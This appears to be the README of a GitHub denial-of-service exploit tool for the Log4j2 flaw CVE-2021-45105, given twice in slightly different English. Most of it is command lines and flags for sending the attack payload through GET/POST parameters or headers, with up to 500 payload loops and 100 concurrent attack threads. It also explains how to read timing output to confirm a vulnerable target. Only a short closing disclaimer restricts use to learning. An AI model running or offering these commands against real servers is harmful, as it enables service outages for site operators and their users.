iamsoscared/log4j2_dos_exploitlog4j2 dos exploit,CVE-2021-45105 exploit,Denial of Service poc
author: iAmSoScArEd
blog: https://www.cnblogs.com/iAmSoScArEd/
github: https://github.com/iAmSOScArEd/
date: 2021-12-20
log4j2 dos exploit
log4j2 dos exploit script
CVE-2021-45105 Exploit
CVE-2021-45105 exploit script
Log4j2_dos.py -u <url> -m <method> -d <params> -H <header> -l <loop> -t <thread>
-u,--url attack target
-m,--method http method, only get and post. default is get.
-d,--data get or post params, json format like:{\"username\":\"\"}
-H,--header request header, json format like:{\"user-agent\":\"\"}
-l,--loop payload loop times (or length),default 100.it is determine where is the params, example get param max length or post param max length or request header max length
-t,--thread attack thread. default is 0, just request once.
usage:
Log4j2_dos.py -u http://url.com/ -d {\"username\":\"\"}
Log4j2_dos.py -u http://url.com/ -d {\"username\":\"\"} -l 500 -t 100
Log4j2_dos.py -u http://url.com/ -m post -d {\"username\":\"\"} -l 500
Log4j2_dos.py -u http://url.com/ -m post -H {\"user-agent\":\"\"} -l 500 -t 100
Log4j2_dos.py -u http://url.com/ -m post -d {\"username\":\"\"} -H {\"user-agent\":\"\"} -l 500
-l (--loop) the value needs to be set separately depending on the scene, not the larger the better. If it exceeds the length that the web server can accept, it may cause the attack detection to fail and no attack effect.
Output format：
[+] normal time:0.11111
[+] attack time:2.00000
if attack time -normal time>1 or something，it maybe exist vulnerability，can use -t param set attack thread.
Log4j2_dos.py -u <url> -m <method> -d <params> -H <header> -l <loop> -t <thread>
-u,--url attack target
-m,--method default is get, http method, only supports get and post
-d,--data get or post request parameters, json format, e.g.:{\"username\":\"\"}
-H,--header request header, json format, e.g.:{\"user-agent\":\"\"}
-l,--loop default is 100, payload loop length. Set different values according to the location of the parameter, such as the maximum allowed length of the request header, the maximum length of get, the maximum length of post
-t,--thread default is 0, means only request once. Attack thread.
Common usage:
# Default get, 100 payload loops, attack detection once, add attack payload in username parameter
Log4j2_dos.py -u http://url.com/ -d {\"username\":\"\"}
# Default get, set 500 payload loops, launch 100 attack threads, add attack payload in username parameter
Log4j2_dos.py -u http://url.com/ -d {\"username\":\"\"} -l 500 -t 100
# Specify POST, set 500 payload loops, attack detection once, add attack payload in username parameter
Log4j2_dos.py -u http://url.com/ -m post -d {\"username\":\"\"} -l 500
# Specify POST, set 500 payload loops, launch 100 attack threads, add attack payload in user-agent header
Log4j2_dos.py -u http://url.com/ -m post -H {\"user-agent\":\"\"} -l 500 -t 100
# Specify POST, set 500 payload loops, attack detection once, add attack payload in username parameter and user-agent header
Log4j2_dos.py -u http://url.com/ -m post -d {\"username\":\"\"} -H {\"user-agent\":\"\"} -l 500
-l (--loop) The value needs to be set according to the scenario, not the bigger the better. If it exceeds the length the web server can accept, it may cause the attack detection to fail and have no attack effect.
Output format:
[+] normal time:0.11111
[+] attack time:2.00000
If the attack time delay is large, the vulnerability exists. You can use the -t parameter to set attack threads.
Do not use for illegal purposes, for learning reference only. Any illegal acts are not related to me.
(Poor English, not translated, just bear with it.)
By：iAmSoScArEd